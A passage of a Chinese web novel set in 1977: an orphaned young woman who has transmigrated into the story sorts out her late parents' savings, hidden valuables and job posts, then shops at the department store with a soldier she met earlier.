说起来,好像有点不对劲儿啊。符伊年暗自思忖,符志红和唐致清俩人一个四十七岁一个四十五岁,结婚二十来年,不应该就这么点儿衣服啊。而且这些衣服都挺新的,磨损痕迹很小,看起来才穿了几次。 这么败家的吗?买一件新的就扔一件旧的?然后扔倒现在就剩这么几件? 当然不是。这个年代做衣服是要用布票的,每人每年的布票都是有定数的,一般工人是每年每人有六尺的布票,就算职位高一点,也不过多一两尺而已。而买衣服要比做衣服贵得多,就算符家再厉害也不可能年年做新衣服穿。更何况这个年代讲究艰苦朴素,人人都是“新三年旧三年缝缝补补又三年”。 事实是,符志红夫妻俩去世后,符伊年因为悲痛,整个丧事几乎没有沾手,都是化工厂和一中两个单位组织的治丧委员会办的,等尸体火化后,符家老家的人得到消息也赶了过来。 老家来了五个人,为首的是族里的目前辈分最大的,符志红的堂叔,符伊年要叫叔爷爷的。老人家力强烈求将符志红夫妻俩的骨灰带回村里安葬,而当时的符伊年悲痛万分几乎整天都再哭,根本拿不出注意,而治丧委员会又都是外人,不好越俎代庖替她做主,最后就只好答应下来。 不过委员会主任是工会的卢主席,她和符家关系不错,尤其和唐致清,十分亲近,她本人农村的一些丧葬习俗比较清楚,而且也知道些符家和老家的一些矛盾龌龊,当即提出了几条要求。 首要的一条就是捧灵摔盆的必须是符伊年这个亲生女儿。要知道,这可不仅仅是捧一幅照片摔破一只瓦盆那么简单的事,这是关系继承权的大事——在农村,一般都是有继承权的儿子才能捧灵摔盆,没有儿子就由侄子、外甥代替,而且约定俗成的谁捧灵摔盆谁就能继承家产。 这个时候的家产可不仅仅是房产存款那么简单,更重要的是可以继承工作岗位,这才是真正的下蛋的鸡。 不知道卢主席和叔爷爷是怎么商量的,反正最后达成了一致,甚至还签了协议书,指明了符志红的房产、存款、工作全都由符伊年继承。 至于以后符伊年会不会被哄得将这些东西拱手送人,卢主席也顾不得了,能保一天算一天吧。 签了协议书达成了一致后的第二天,符伊年就在族人的护送下回乡下安葬符志红和唐致清去了,同时还带走了不少二人以前的旧衣服,说是农村人没那么讲究,这些旧衣服拿到乡下去也能当好衣服穿。 不过总算原主还没彻底不管,留下了几套比较新的衣服,当作对父母的留念。 所以才会有了现在的情况。 这些是符伊年在重新整理这些衣服时逐渐想起来的,同时对自己当前的情况也算有了更深的了解——虽不至孤立无援,也是无依无靠啊。 待两个柜子都整理收拾好,一一重新关上,倒是没有再锁,毕竟都不算是什么值钱的东西,符伊年甚至没有找到卢主席口中的“房产”“存款”。 要知道符志红和唐致清已经工作有二十多年了,连符伊年一个工作才一年的孩子都有一百多的存款,没道理两个成年人一张存折都没有啊?难道是被老家的人哄骗去了?应该不至于吧。 符伊年想来想去,似乎只有那只挂了复古锁暂时无法打开的小盒子最有可能,说不定在那里?可是要怎么打开呢?难道真的用锤子砸开?可是那把锁头看起来也挺值钱的,万一砸坏了怎么办? 符伊年坐在化妆凳上对着台面上的小盒子发呆。盒子不大,锁更小,钥匙肯定也不会很大,随便往哪个角落一塞都不会引人注意的。不过既然盒子都只是裹在被子里藏得不算缜密,那钥匙应该也不难找才是。 如果是自己的话,会将钥匙放哪里呢? 这么想着,一抬头,符伊年就看到了梳妆镜里自己的脸。要说她能穿书其实也不算奇怪,因为原主和4202年的她真的有几 8. 慰问 《年年有新生[八零]》全本免费阅读 第八章慰问 符伊年整理符、唐夫妻二人的箱笼,无意间发现了一个木盒,盒子里装了几张存折和一张购房协议。 房子就是符家现在住的房子,存折三张加起来有近八千块钱,在这个年代,这笔存款可不算少了。 要知道这是七七年,革命才刚刚结束,改革开放的春风还没吹起来,人均年收入也才三百块。这可是一个普通工人不吃不喝几乎两百年的工资。 而除了这些,符伊年发现盒子还有另外一个空间,里面的东西令她大吃一惊,相比之下好像五千块钱也算不得多了。 隐藏空间里有两个黑色绒布袋子,一个没有任何标识,另一个绣了一枚碧色的柳叶。符伊年对着两个袋子“点兵点将”了一番,先打开了绣柳叶的哪个袋子。 符伊年没有一下子全倒出来,先摸出了一对手链,十八颗不太透明的粉色珠子串成的。原谅符伊年见识少,她最开始还以为是塑料的,根本没有在意,都拿出来放一边准备看下一样了才恍然不对劲儿,这和以前在故宫珍宝馆看到的碧玺十八子手串有点像啊,就是不知道是不是品质和故宫的一样。 再往下摸,拿出来一支玉镯,颜色碧绿触感温润,符伊年试戴了一下,可能是是自己太瘦了,并不好看。然后是一对婴儿银手镯和长命锁,手镯内篆刻了“长命百岁”“富贵延绵”这样饱含了长辈美好祝福的吉祥词语,长命锁就很简单了,只是“辛未年上元”几个字。 “上元”符伊年知道,就是正月十五,不过她对天干地支不十分了解,并不清楚“辛未”是哪一年,不过也没深究,而是像开盲盒一样继续往下。 这一次,符伊年伸手抓出了一把戒指。是的,一把。她当时都愣住了,前世她也看过不少总裁文和豪门偶像剧的,但是真的没见过谁家抓戒指抓一把的。 她粗略数了数,得有十多个,金的银的翡翠的,镶了宝石钻石珍珠,即便样子有些陈旧,甚至金银成色发乌,但是每一只都很贵重。 没有女人能逃得过珠宝首饰的诱惑,无论什么年代,无论什么年纪。符伊年也不例外,她拿起戒指往自己十根手指上套,最后还竟然还有两个没用上。 符伊年抬起双手仔细端详了一番,十指葱白细长,指甲粉嫩圆润,金银珠宝戴在手上,看起来就很高贵。这某一个瞬间,符伊年甚至冒出了可以就此躺平的念头,还高什么考啊,过大小姐的日子不好吗? 可是终究只是想想罢了,这些戒指也不过是戴着短暂地过个瘾罢了。符伊年恋恋不舍地摘下戒指,连带着刚才的手串手镯金锁一起,重新装回袋子里。 本来以为这只袋子里的珠宝首饰就已经很令她震撼了,没想到另外一支袋子里的东西更加瞠目。 这支袋子从外表看没有任何标记,只是里头的东西摸起来四四方方,符伊年猜测可能是印章或者墨条什么的,结果倒出来让她倒吸一口凉气。 大黄鱼,四根。这些大黄鱼没有标记,表面坑坑洼洼,颜色暗沉,其中一根被切掉了一小块儿,看起来比其他三根要短一截。 符伊年知道这种大黄鱼金条,电视剧里经常演,潜伏在敌人内部的地下党将积攒下的大黄鱼上交给组织做党费,一根一般是十两。4202年黄金最贵的时候,一根十两金条起码价值二三十万。更何况是这种有些年头,会更贵。 符伊年有一瞬间的不知所措,符家得家底厚得有点超出她的想象。她单单知道符志红有个在清末中了进士做过官的曾祖父,以为最多也就留存下几样首饰罢了,却没想到居然连金条都能保存下来。 而且这符志红和唐致清也太大胆了吧,要知道这盒子里的东西样样都能称得上“封建残余”,就这么放在家里,而且藏得也不深,就不怕被小将们抄走吗?若是被人发现哪怕其中一样,都会被拉出去“打倒”的。 默默地将所有东西收归原位,布袋系好盒子锁好柜子盖好钥匙藏好,拍拍手走出卧室。 说来也巧,符伊年刚走出卧室关上门,大门就被敲响了。符伊年下意识地抬头看了眼墙上的挂钟,十一点二十五分。 这个时间,既没到中午下班时间,又是各家做饭时间,也不知道会是谁来? 拉开门,打头的是化工厂的工会主席卢主席,后面跟着二男二女,看起来都是干部模样。 “卢阿姨好。”符伊年让开门请人进来,“请进来坐。” 虽然不知道这些都是什么人,过来干什么,但是该有的礼仪符伊年并不少,总不能让人家站在门口说话。 符家小小的客厅一下涌进五个人,突然变得拥挤,甚至沙发都坐不下,符伊年又找了两张椅子才全坐下。 等人坐下后,符伊年从茶几下面找出茶叶沏茶倒水,然后端了一只小板凳坐在茶几另外一侧,“卢阿姨工作忙不忙?我正打算下午去拜访您呢?” “不忙,尽管来,啥时候来都行。”然后给符伊年介绍其他几位,“看我,都忘了介绍了,这位是咱们化工厂的韩副厂长,这两位是一中的宋校长和刘主任。另外这位是日报的李记者。” 符伊年急忙站起来重新鞠躬问好。 等她重新坐下,卢主席先问了问符伊年的身体状况,又问了问心情,得知她的身体正在恢复中,心情也慢慢在复原,于是主动提起了来意,“你父母的事迹厂里和一中分别向上级做了汇报。” 听到这里,符伊年立刻站了起来,面容也沉肃起来。并不是因为她现在符、唐女儿的身份,而是因为她单单觉得这两人值得如此尊重。 “符志红和唐致清两位同志为保护国家财产和祖国未来,英勇献身见义勇为,是毛主席光荣的战士,他们不惜自己的年轻生命,为革命作出了应尽的贡献。 9. 工作 《年年有新生[八零]》全本免费阅读 第九章工作 化工厂和一中的领导突然到访,给符伊年送来了符志红和唐致清的烈士证,以及工厂和学校对他们因公牺牲和见义勇为的工亡赔偿金,同时也带来了一个新问题。 符志红牺牲了,化工厂多了个岗位出来,要如何安排才好呢? 卢主席说了一大堆厂子的现状和难处,却发现符伊年依然是满脸满眼的茫然懵懂,也忍不住叹一口气:自己都只是工作了才一年的孩子,哪里会懂这里头的弯弯道道呢? 想到这里,卢主席换了语气和语速,用尽量直白的语言给她解释:当前的政策,默认的是岗位接班制,也就是父母退休后,工作岗位可以传给子女,或者其他的什么亲戚,但是接班人的岗位和原来是不可能一样的。 “比如你爸爸是厂里的工程师,如果你接班的话只能做办公室干事之类的,如果你是个男孩子的话,或者有什么兄弟,或许可以进车间做技术工人,不同工种的工资标准、福利待遇都是不一样的。” 符伊年眨眨眼,缓了缓呼吸,轻轻提问:“这些事情,我没经历过,也不懂。不过咱们厂子建厂三十多年,这种情况应该不少吧?” “确实有过几个例子,不过他们都是家里人口多,不是人人像你一样另有一份工作,所以一般都是安排亲生子女接班的,只有咱们刚建厂时的一个车间主任,两个儿女都牺牲在了朝鲜战场才把岗位传给堂侄的。” 听话听音,卢主任都已经把话说到这个地步了,符伊年也明白了:你自己已经有一份工作了,化工厂这个工作要不要安排给亲戚? 可是家里还有什么亲戚吗?符家以前确实是大户人家,进士高祖估计也有好几个孩子,不过可能因为世道乱了,到民国时安县就只剩符志红祖父这一脉了。而等到建国,甚至只剩祖孙两人了——好像原书中提到过符志红有个伯父,参加了抗日战争和解放战争,但是在渡江战役中牺牲了,至于符志红亲爹,原书中只提了一句“因吸了大烟而死”。 符伊年心念电转,很快就有了主意,她垂下眼睛做出一副压抑难过的样子,“您应该知道,我们家说是乡下还有些亲戚,可我长这么也只见过两回,谁好谁坏我都不知道,而且人那么多,就一份工作,给谁好像都不好。” 卢主席点点头,说得也有道理,就在她想提出用几百块跟符伊年买下这份工作时,听到她后面的话。 “如果把这个岗位退回给厂里……”有没有什么补偿啊? 后面的话符伊年还没说完,就看到卢主席的脸上的笑容凝了一瞬又很快恢复。 “厂里确实讨论过这个问题。”卢主席不自然地清了清嗓子,符伊年迅速起身给她往茶杯里添水,等她喝过后继续用信任和希冀的目光看向她。 “如果你打算将这个岗位退回给厂里,厂里按二级工程师标准补贴你一年的工资,”顿了顿,又补充到,“你爸爸现在的职称是三级工程师。” 其实符伊年不知道三级工程师每月工资是多少,但是她知道二级肯定比三级高,当下立即点头,又问要不要走什么程序,得知只需要下午去厂办签个字就行,当下点头更用力了。 符伊年和卢主席说话的时候,一中的刘主任虽然一直没言语,但是眼睛却一直在观察着,现在二人交谈结束,轮到她了。 “其实我留下来的目的和卢主席是类似的,都是工作的问题。”刘主任面上挂着微笑说,“可以由你自己接班,也可以将岗位归还,不过教育局是个穷单位,出不起那么多钱,只能给六个月的。” “不过,”刘主任的话音突然一转,“我这里有另外一个法子,是我个人的想法。卢主席也不是外人,我姑且说说,你们姑且听听。” 符伊年和卢主席都看向她。 “我有个外甥女,三年前下乡了,她自幼身体就不好,暑假回来探亲已经瘦得皮包骨了,把我们都心疼坏了,想买个工作把她调回城里。”刘主任真心实意地说:“符同志若是愿意,我们用五百块买这个岗位。” 符伊年不知道唐致清每个月工资是多少,但是既然刘主任肯用五百块买这个岗位,那想来应该比教育局给的“半年工资”要多吧。 这个时候,不止刘老师在等符伊年的决定,卢主席也注视着等她如何选择。 讲实话,其实教师这个职业符伊年还挺心动的,别的不提,光寒暑假就十分的诱人了。不过符伊年对自己还是很了解的,知道自己没什么耐心,肯定干不来这份工作。 更何况马上就要恢复高考了,自己是必须要参加的,接下来的两个月肯定要用大量的时间来复习,对工作就没那么上心了,到时候无论能不能考上,都是对学生是不不负责任的。 符伊年拒绝了接班唐致清的工作,选择将岗位出让给刘主任的外甥女,理由就是刚刚想到的那些,当然,她没有提即将恢复高考的事。 “我自己有几斤几两我还是很清楚的,只有高中学历,学识浅薄,而且实在耐心不多,”符伊年不好意思地笑笑,“还是不去误人子弟了。” 刘主任当然很高兴,于公于私都达到了目的。卢主席也觉得这是个正确的选择,毕竟符伊年自己其实有一份正式工作,无需占着那么多的名额。 从符家离开时才刚过十二点,化工厂的食堂已经开放,卢主席邀请刘主任一起去食堂,“我请客,一起吧。” “好啊,”刘主任没推辞,“早就听说化工厂食堂有位一级厨师,还参加过国宴烹饪,今天就借卢姐的光去尝尝。” 卢主席其实只是惯例地客气一下,没想到刘主任真答应下来,转念一想,一中的伙食也不错,刘主任肯定不是为了口吃的,估计是有话要说,当下也就说笑着带刘主任走向食堂。 二人到达食堂还算早,很多菜都刚端上来,米饭也是热的。两个人都没带饭盒,由卢主席出面同食堂借了俩,一人 10. 照片 《年年有新生[八零]》全本免费阅读 第十章照片 下午上班,符伊年去了厂里,找到卢主席,再她的带领下去厂办办理了岗位退回手续,领到一张存折,存折里有三千三百多块钱。 符伊年在心里除以十二算了以下,一个月差不多是二百七十多。这是二级工程师的工资,符志红是三级工程师,工资应该比这个数低,估计在二百三四十块这个样子。 难怪了,难怪符家既买得起三大件,还能买的起进口洗衣机。光符志红一个人一年的工资就将近三千块了,家里现在的两张定期存折只需三年就能存够。 更何况唐致清的工资也不低,家庭日常开销完全够了,甚至若是票证足够,一个月能吃好几次肉。 也难怪原主工作了一年就能攒下近两百块,这是把自己的工资全存了下来来了吧,零花钱什么的都是爸爸妈妈给。 符伊年将存折放在挎包的最深处,没有直接回家,而是往化工厂外面走去。她要去一趟照相馆,再去一次百货公司。 符伊年是中午的时候才发现的,家里没有符志红和唐致清的遗照,之前的留在了乡下老宅。于是她找了两张二人的一寸照片,打算拿去照相馆放大,然后再买几个相框,除了要镶遗照,还要把二人的革命烈士奖状也框起来。 自己毕竟占了二人女儿的身体,要代替原主活下去,那就将原主应该做的事、应该担起的责任去做完、去担起来。 从化工厂出来走去公交站,要先经过家属院的大门。还没走近,符伊年就看到门口门卫室前站着一个穿军绿色军装的人,似乎正在同门卫大爷交谈。 走近后符伊年发现,这不是祝镕祝参谋嘛,他来干什么的? 也就是这个时候,祝镕似有所感,突然一回头,看见了符伊年,下一秒他就露出了一个大大的笑容,“符同志!” 符伊年走过来,有些疑惑,“你怎么在这里?来办事啊?还是找人?” 门卫大爷在旁边听了呵呵笑,“这位解放军同志是来找你的啊小符,”说着指了门口地上,“正好,带来的东西你自己拿回去吧。” 自从在医院告别,符伊年是真的以为自己和祝镕不会再有交集了,当时甚至连“再见”都没说,因为不会再见了嘛,实在没想到对方会突然出现在化工厂的家属院。 “你来找我啊?”她吃惊地问,“有事吗?” “没事。我明天上午就走了,今天过来看看你。”祝镕简答地回答,然后注意到符伊年背着帆布包,一副像是外出的打扮,“你这是要出门?” “啊,”符伊年下意识地点头,“想去一趟照相馆。” 祝镕点点头,“那一起。” 啊?符伊年这次彻底愣住。一起什么?一起去照相馆?我,和你?这合适吗? 见符伊年站着没动,祝镕停下来回头催她,“还有事吗?” “没事。”符伊年回神,立即跟上去。走出两步突然停下,又跑回门卫处,同门卫大爷讲东西先暂时放一下待会儿回来再拿,得到门卫大爷一个意味深长的目光。 符伊年怕祝镕等久,来不及深究门卫大爷的目光,转身回去,“走吧。” 两个人并排走着,离得挺远,甚至还能在中间再塞下一个人。走出挺远了,二人之间还很安静。符伊年是因为i人本质发作,祝镕则是没有要怎么开启话题。气氛甚至隐隐有走向尴尬的趋势。 “你……” “你……” 来了!小说中最常见的不约而同开口的场面出现了! 符伊年止住话音看向祝镕,示意他先说。 祝镕没有推辞,直接问出口:“你知道照相馆在哪儿吗?” 额,好问题。她还真不知道。 “百货大楼?”符伊年试探着说道,“那里应该会有吧。”毕竟是一个城市最繁华的地带。 祝镕听完她的话,不知道应该做出什么反应。这里到底是谁从小到大生长的地方啊,难道她失忆的症状还没好吗? 若是符伊年知道他心中所想,一定会非常感激他的,居然连借口都想好了。 好在化工厂离百货大楼也不算远,八个公交站的距离,而且门前公交站就有车到那里。两个人在公交等了几分钟就有车来。 公交车票五分钱,符伊年直接拿从零钱包里抽了张一角的递给售票员,“我们俩的。” 售票员看了符伊年和祝镕一眼,递回给她两张车票和一枚五分钱硬币,“解放军不收票。” 哦,还有这种好事啊。可真不错。符伊年乐颠颠地将车票和找零收起来,带着祝镕往车厢后面走去。 大概因为是上班时间,公交车人并不多,空闲座位比较多。符伊年直接在最后排靠窗的位置坐下,祝镕走过来见状,顿了一下在她身边隔了一个座位的位置坐下。 车子启动,一阵黑烟从车尾飘过来,符伊年手疾眼快地关上车窗,还是没来得及将汽车尾气全阻隔在外,被呛得咳了两声。但是这并没能阻止她盯着窗外看的行为。 医院、化工厂、百货大楼,三点在一条公交线上。前天符伊年从医院回家的时候只看到了从医院到化工厂这一段路程的城市景象,之后这还是她第一次出门,符伊年忍不住仔细观察着这一段路程上的景象,以便自己以后生活方便。 看着她对外面景象十分好奇的样子,祝镕有点好笑,“你怎么那么好奇?没见过吗?” 符伊年这才发觉自己不自觉地表现出了对这里得一切的陌生,“那什么,记忆有些错乱,我得对比着纠正一下。”说着还表现出一副不好意思的样子。 心里却在想:失忆可真是个好借口啊。 祝镕宽容地笑笑,“那观察完了,有发现什么错吗?” “目前是没有的,不知道后面有没有。” * 事实证明,符伊年的想法没错,百货大楼作为这个城市最繁华的地带,确实有一家照相馆,刚一下公交就能看见,在百货大楼一层,单独开了一个门店,门梁上挂着“国营照相馆”的匾额,玻璃门和玻璃窗上贴着大小不一的照片,有人物照也有风景照,黑白照片居多,但也有彩色照片。 走进去,门口处是柜台,里面坐着一个 11. 购物1(捉虫) 《年年有新生[八零]》全本免费阅读 第十一章购物 符伊年出门前的计划是:先去厂办办理手续,然后去照相馆放大照片,接着去百货大楼买些日用品——原主有些衣服都还比较新,比如衬衫、裙子、外套,可能是为了上班新置办的。 这些都不用买。符伊年要买的是贴身的衣服。不知道是商业所限还是思想所限,原主的内衣还是那种一片式的宽肩带背心,纯棉的,摸起来很柔软很舒适,穿着睡觉会很舒服。 但是让符伊年一直穿着这种宽松无型的内衣出门上班,她是万万不肯的。 祝镕发现从照相馆出来后符伊年就沉默了下来,眼睛盯着地面站在台阶上一动不动,他原本并不想打扰她,只是她沉默太久了,他怕她沉入哀思中过久伤了身心,还是出声打破了安静的气氛,“接下来去哪里?” “哎,你看那里是不是一枚硬币?” 符伊年突然回头,吓了祝镕一跳,牙齿咬到了还没收回的舌尖,他轻轻地吸着气,一边问:“哪里?” “那儿啊,”符伊年见他好像没发现,自己亲自过去将卡在路缝里的金属片抠出来,然后发现,“啊,看错了,汽水瓶盖啊。” 圆圆的她还以为是硬币呢。 符伊年将盖子扔掉拍拍手上的灰尘,“你刚刚说什么?” “我说你接下来打算去哪儿?” 符伊年看向近在咫尺的百货大楼大门,“我要去买些东西,多谢你陪我过来,祝同志再见。”说着对他摆摆手,往大门口走去。 走了两步感觉身边有人跟着,转头发现是祝镕,“你怎么跟来了?”不回去吗? “我没说要走啊,再说我也要买东西的。”祝镕笑起来,说完就越过符伊年走进大楼里面。 符伊年看着他挺拔潇洒的背影,耸耸肩,也走了进去。 * 百货大楼一共四层楼,虽然不是安县最高的建筑,却位于安县的城中心。大楼往西几百米是长途客运站和火车站,东边是邮政局、邮储银行和信用社,前面隔了一条马路就是安县县政府和公安局,后身是几个单位的家属院。周围分布着几家国营饭馆、理发店、照相馆等店铺,这算得上是整个城市最繁华的地段了。 刚一进大楼,符伊年就闻到了一阵香甜气。正对大门的就是点心柜台,靠墙的架子上分不同的格子摆着罐头、麦乳精和铁皮盒饼干,还有白酒、汽水。糕点、面包也整整齐齐地摆在柜台内,柜台里面站着几个售货员,有的在给顾客介绍有的在打包称重,称好了会写个单子交给顾客,顾客去专门的收款台交费。 符伊年凑过去看了看,发现种类还挺多,老式面包、香葱饼干、京八件、大麻花、鸡蛋糕、江米条……散装的各种糖果、花生、瓜子……还有即将到来的中秋节必备佳品——月饼。 啧。谁说的七八十年代物质匮乏的啊?简直胡说八道。这么多零食,一天吃一样一个月也未必吃得完啊。 祝镕看到符伊年兴致勃勃地盯着柜台里的各种零食,眼睛都冒光了,心想到底年纪还小,遇到喜欢的事情很快就将烦恼忘记。 “有什么想吃的吗?”祝镕看向她目光停留最久的糖果柜台,“听说吃甜食会心情好,要不要买些糖果?” “唔,不急,”符伊年摆手,“先去买别的,等会下来再说。” 祝镕点头,也是,现在买了就要一直提着,不方便。 离开食品柜台,绕过几个卖水果熟食的摊位,两人顺着楼梯上了二楼。二楼销售的主要是布匹、毛线、成衣,布匹居多,成衣较少。 这个时期的布料花样多了起来,颜色不再以蓝绿灰为主,大红的、嫩黄的、红蓝格子的、印花的,都有。毛线更是,赤橙黄绿黑白,几乎能凑齐十二色。 成衣多以裙子、外套、毛衫、大衣为主,用衣架挂在墙上展示着。 祝镕陪着符伊年已经在二楼绕了两圈了,见她既不买也不问,只是走着看,不禁奇怪,“没有喜欢的吗?” 可是明明她刚看了好几回角落那个柜台了。难道是钱不够? 当然不是钱不够,要知道符伊年出门的时候除了将家里八九十块的现金带来了,包还把原主那张近两百块的存折装上了。 又走了半圈,符伊年终于停了下来,她转头看向祝融,“祝同志,你不是说你也要买东西吗?要不你先去买吧,不用等我了,女孩子买东西很慢的。” 祝镕刚想说“没关系我可以等你”,电光火石地想起来很多年前起,他妈妈宁可让才上小学的妹妹去供销社给她买东西,也不让已经上了中学的他去买。 “那好,我先去买,你慢慢挑,半小时后我们在楼梯口汇合?” 符伊年点头,目送他顺着楼梯上了三楼,然后才转身往自己的目标柜台走去。那个柜台是专门卖女性内衣和妇女用品的,最外面叠放着几大包的卫生纸,挡住了符伊年想买的内衣和卫生巾,若不是符伊年仔细搜寻加眼神好,还真发现不了。 快速挑选了适合自己尺码的内衣,又买了两个月用量的卫生巾,开票付款装包,整个流程下来也才十多分钟。 符伊年低头看看手边,在上三楼去找祝镕和接着在二楼逛逛之间,犹豫了一下还是决定先不去三楼,万一祝镕还没买完呢?她先在二楼逛逛吧,嗯,只看看,不买。 祝镕其实没什么要买的。他本来也只是在去化工厂探望符伊年的适合恰好遇到她要出门,这才跟着一起的。 因此走上三楼后他就找个窗口去吸了一支烟,一直到距离半小时结束前五分钟,才又走回楼梯口去等她上来。 然后,过了五分钟,又过了五分钟,又又过了五分钟,祝镕一直没有等到符伊年上来。 虽说太平盛世光天化日的,应该不会有什么危险的事发生,祝镕还是不太放心地走下楼梯,准备去看看 12. 购物2 《年年有新生[八零]》全本免费阅读 第十二章购物 符伊年已经买到了自己想要买的东西,但是她想着反正来都来了,那就每层楼都看看,也算对百货大楼有个了解,方便以后再来。 于是一路从一楼逛到了四楼。 百货大楼四楼的商品都是这个时代比较贵重的,主要销售“三转一响”成婚四大件:手表、缝纫机、自行车和收音机。 因此符伊年和祝镕这对青年男女一出现在四楼,售货员大姐们就盯上了她们,等二人来到手表柜台,柜台前的大姐喜笑颜开地从柜台里拿出两块手表,“来,你们看看这对对表,梅花牌的,虽然不如上海牌的有名,但是做工一样精良,样子也要更新颖些,最重要的是价格要便宜一半呢,最适合你们这样准备结婚的小两口了!” 符伊年:…… 祝镕:…… 大姐说完见两人依然沉默着,干脆用手捅捅祝镕的手臂,“男同志主动些,帮女同志戴上试试看。” 直到此时,符伊年才反应过来大姐说了什么,连忙后退一步并摆手,“不是,没有,您误会了,我们不是那个关系!”一边说着一边戳祝镕,示意他快点解释。 祝镕也有点尴尬,他不是没听到大姐的话,只是一时没听出来是在对他俩说,还以为是跟旁边那对小夫妻说话。 祝镕:“是的,我们俩不是要结婚的,同志您误会了。” “啊?对不起啊,误会了。”售货员仔细看了两眼,确定他们不是害羞,而是自己真的误会了,有些遗憾,一个高大英俊一个娇美可爱,不是一对儿有点可惜啊。 因为这场误会,符伊年和祝镕下楼的时候谁都没说话,气氛略有尴尬。到一楼的时候,祝镕刚好看到一个人提着一纸包的糕点,想起来符伊年的糖果还没有买。 “我们去买糖果吧。”祝镕说:“听说吃甜食会心情好。” 这已经是他今天第二次说这句话了,符伊年短暂的诧异了一下,很快明白,他是觉得自己因为当前的遭遇会心情不好吧。 还是挺细心的一个人。 因为符伊年自己也察觉到了,即便她已经在努力控制和改变,还是受到了原主的思绪和感情的影响——昨天整理房间、翻阅相册时突然低落和难过的情绪,今天早上也并不是单纯被广播喇叭吵醒,她还梦到了唐致清和符志红。 符伊年知道,思想是自己的思想,可是心还是原主的心。理智和感情,从来不是一回事。 不过她倒是没想到,祝镕会居然会有所发觉。 符伊年想着反正也要买些糕点零食,就点了头,“好呀,不过要先说好一件事。” 祝镕颔首,示意她讲。 “我自己买。”符伊年认真地看向他的眼睛,别以为她没看见之前在食品柜台前他要掏钱的姿势。 祝融当然不会反对,“行,那走吧。” 符伊年以前看过不少年代文,几乎所有文中都提到大白兔奶糖时当时最好的糖果,搞得她一直误会六七十年代只有这一种糖果。 实际上,大白兔奶糖的确是当时比较高档的糖果,因为里面真的有牛奶,据说七颗大白兔奶糖就顶一杯牛奶,营养丰富。 而除了大白兔奶糖,其实这个年代糖果很多的。最常见的就是水果硬糖,各种水果口味的糖块,一分钱能买两块。其他的还有麦芽糖、花生牛扎糖、大虾酥糖等,虽然不一定有大白兔奶糖高档,但是价格也不低。 符伊年各种不同口味的糖果都挑了一些,用了半斤的糖票和三块五毛钱,又买了些老式面包和沙琪玛,算是结束了今天的购物行程。 出了百货大楼,符伊年推辞再三,最后没有犟过祝镕,只好将装了糖果糕点的网兜交给他提,自己则一只肩膀挎着从家背来的帆布包,一手提着装了新衣服的布袋。 从百货大楼回化工厂家属院要去马路对面坐公交,公交站牌下几个人站成了一排,符伊年和祝镕站到队伍后面,之后陆陆续续也有人排在了他们身后。 只是不知道是不是自己得错觉,好像总有人将目光落在她身上一样。 符伊年自认为自己只能算是容颜姣好,不是一副十分吸引人的样貌,更是低头检查了好几遍自己,确定没有衣服开扣、裤带松散这类有碍观瞻的情形,偏着头问身后的祝镕:“是我的错觉吗?好像有人在看我?” 祝镕有点一言难尽。 可是经过他们身边的行人也好乘客也好,总有几个人要注视着她,将目光落在她的肩上和手中提着的袋子上,仿佛她买这些东西非常不好似的。 说实话,他其实并不觉得符伊年买得东西多,只是几件衣服一些生活用品和几样糖果糕点而已,她花得是自己得工资,堂堂正正劳动所得,想花就花呗。 于是祝镕果断地摇头,“没有,是你的错觉。” 符伊年听了便不再怀疑,转过头认真等车。也是,祝镕是什么人啊,上过战场的,肯定十分敏锐,若是真有人偷窥早被他发现了。 * 第二天是星期日,职工们不用上班。不过,广播喇叭依然尽责尽职地工作着,再一次将符伊年从睡梦中叫醒。 符伊年用两个从百货大楼买的老式面包就着一条腌黄瓜吃了当早餐,接着把昨天买的衣服放进洗衣机清洗。 原主才工作一年,很多衣服都比较新,只是非常不巧的,所有的毛衣都是大红色和紫色的,对于此时的符伊年就不方便穿了,只好买了一件黑色一件白色的换着穿。 洗衣机工作的时间,她回房间换了身衣服,又从厨房里拿了一盒火腿罐头装进手提袋里,想了想又多装了一盒。 * 昨天祝镕从百货大楼将她送回家属院,再三询问并确定她确实可以一个人将所有东西提回去后,没有跟她一起进家属院,就在门口说了再见。 当时符伊年也没有多想,几件衣服和一些糖果点心罢了,上辈子她还提着十公斤的大米从超市步行二十分钟回家呢。 直到她被门卫大爷喊住,符伊年才想起来还有一兜祝 13. 送别 《年年有新生[八零]》全本免费阅读 第十三章送别 符伊年一想到前一天自己突然冲动地问了句“要不要我去送行”,就想时光倒流好将自己的嘴捂住。 实在太尴尬了。 可惜,时光是不可能倒流的,说出去的话也是没法收回的,尤其在祝镕几乎是在她话音刚落时就点了头说了好。 所以等一会儿洗完衣服她就要出门去火车站送祝镕离开,昨天他说过火车发车的时间时十点半,自己总要在十点半之前到车站才行。 既然要去送行,总不好空手。考虑到祝镕火车的发车时间和路上花费的时间,符伊年决定带上两盒火腿罐头送给他,当作伴手礼也好,他路上和午餐一起实用也行。 今天是个十分晴朗的天气,早上起床就能看到窗外万里碧空如洗,所以即便今天要出门,符伊年还是把新买回来的衣服给洗了,等甩干后挂在阳台的折叠晾衣架上,这样一个上午都用不了就能干透,过些天降温就能穿了。 等符伊年换了衣服出门时,艳阳已经高照,晒在人身上暖洋洋,将昨日秋风吹来的凉意驱散了不少。 和后世火车站多建在郊区或城市边缘不同,安县的火车站建在了城中心的地段,和百货大楼中间只隔了两条马路和一个长途汽车站,不到一千米的距离,乘坐昨天的公交路线就能到达。 因为没想到刚出门就遇到了公交车进站,因此省去了等公交的时间,到达火车站的时间比符伊年预想的还要早了一点,还不到九点钟。 符伊年觉得自己到的时间太早了,祝镕还未必到达,正想着要不要在附近走走,就看到从候车室门口走出来两个穿着军装的身影。 不是别人,正是祝镕和他的战友汤河源。 符伊年还记得汤河源,当时在医院她将二人认错了,以为汤河源才是“祝参谋”,因此此时再见面不免有些尴尬。 只是再尴尬,符伊年依然不忘礼貌待人,“汤同志好。” 汤河源一开始没怎么在意这个出现再候车室门前的女子,毕竟是火车站,人来人往的,还以为是进站的乘客,直到这人突然问好,他才注意到她并很快想起来这是谁。 “你好你好,符同志你好。”汤河源说着看向祝镕,露出一个揶揄的笑来那意思:这次居然没认错。 祝镕甩了汤河源一眼刀,“行了,送别也送别过了,营里事情不少,那你回去吧。” 汤河原丝毫不在意,继续对他挤着眼:“回,我这就回,不在这儿碍眼,”说完看向旁边的符伊年,“符同志,再见啊。” 符伊年微笑,看着他下了台阶上了停在路边的车发动车子离开了。 汤河原走了,门口只剩下符伊年和祝镕。 四目相对,谁都没说话。 “听到了吗?”祝镕突然发问。 符伊年疑惑不解,“什么?” 祝镕:“好像有人在敲鼓。” 